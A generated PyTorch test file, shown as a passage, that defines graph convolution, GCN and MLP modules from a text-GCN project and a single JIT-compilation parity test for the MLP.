metrics\n\n\nimport random\n\n\nimport time\n\n\nimport numpy as np\n\n\nclass GraphConvolution(nn.Module):\n\n def __init__(self, input_dim, output_dim, support, act_func=None, featureless=False, dropout_rate=0.0, bias=False):\n super(GraphConvolution, self).__init__()\n self.support = support\n self.featureless = featureless\n for i in range(len(self.support)):\n setattr(self, 'W{}'.format(i), nn.Parameter(torch.randn(input_dim, output_dim)))\n if bias:\n self.b = nn.Parameter(torch.zeros(1, output_dim))\n self.act_func = act_func\n self.dropout = nn.Dropout(dropout_rate)\n\n def forward(self, x):\n x = self.dropout(x)\n for i in range(len(self.support)):\n if self.featureless:\n pre_sup = getattr(self, 'W{}'.format(i))\n else:\n pre_sup = x.mm(getattr(self, 'W{}'.format(i)))\n if i == 0:\n out = self.support[i].mm(pre_sup)\n else:\n out += self.support[i].mm(pre_sup)\n if self.act_func is not None:\n out = self.act_func(out)\n self.embedding = out\n return out\n\n\nclass GCN(nn.Module):\n\n def __init__(self, input_dim, support, dropout_rate=0.0, num_classes=10):\n super(GCN, self).__init__()\n self.layer1 = GraphConvolution(input_dim, 200, support, act_func=nn.ReLU(), featureless=True, dropout_rate=dropout_rate)\n self.layer2 = GraphConvolution(200, num_classes, support, dropout_rate=dropout_rate)\n\n def forward(self, x):\n out = self.layer1(x)\n out = self.layer2(out)\n return out\n\n\nclass MLP(nn.Module):\n\n def __init__(self, input_dim, dropout_rate=0.0, num_classes=10):\n super(MLP, self).__init__()\n self.fc1 = nn.Linear(input_dim, 200)\n self.fc2 = nn.Linear(200, num_classes)\n self.relu = nn.ReLU(inplace=True)\n self.dropout = nn.Dropout(dropout_rate)\n\n def forward(self, x):\n out = self.fc1(x)\n out = self.relu(out)\n out = self.dropout(out)\n out = self.fc2(out)\n return out\n\n\nimport torch\nfrom torch.nn import MSELoss, ReLU\nfrom _paritybench_helpers import _mock_config, _mock_layer, _paritybench_base, _fails_compile\n\n\nTESTCASES = [\n # (nn.Module, init_args, forward_args, jit_compiles)\n (MLP,\n lambda: ([], {'input_dim': 4}),\n lambda: ([torch.rand([4, 4, 4, 4])], {}),\n True),\n]\n\nclass Test_iworldtong_text_gcn_pytorch(_paritybench_base):\n def test_000(self):\n self._check(*TESTCASES[0])\n\n","repo_name":"eladhoffer/pytorch-jit-paritybench","sub_path":"generated/test_iworldtong_text_gcn_pytorch.py","file_name":"test_iworldtong_text_gcn_pytorch.py","file_ext":"py","file_size_in_byte":3673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"71"}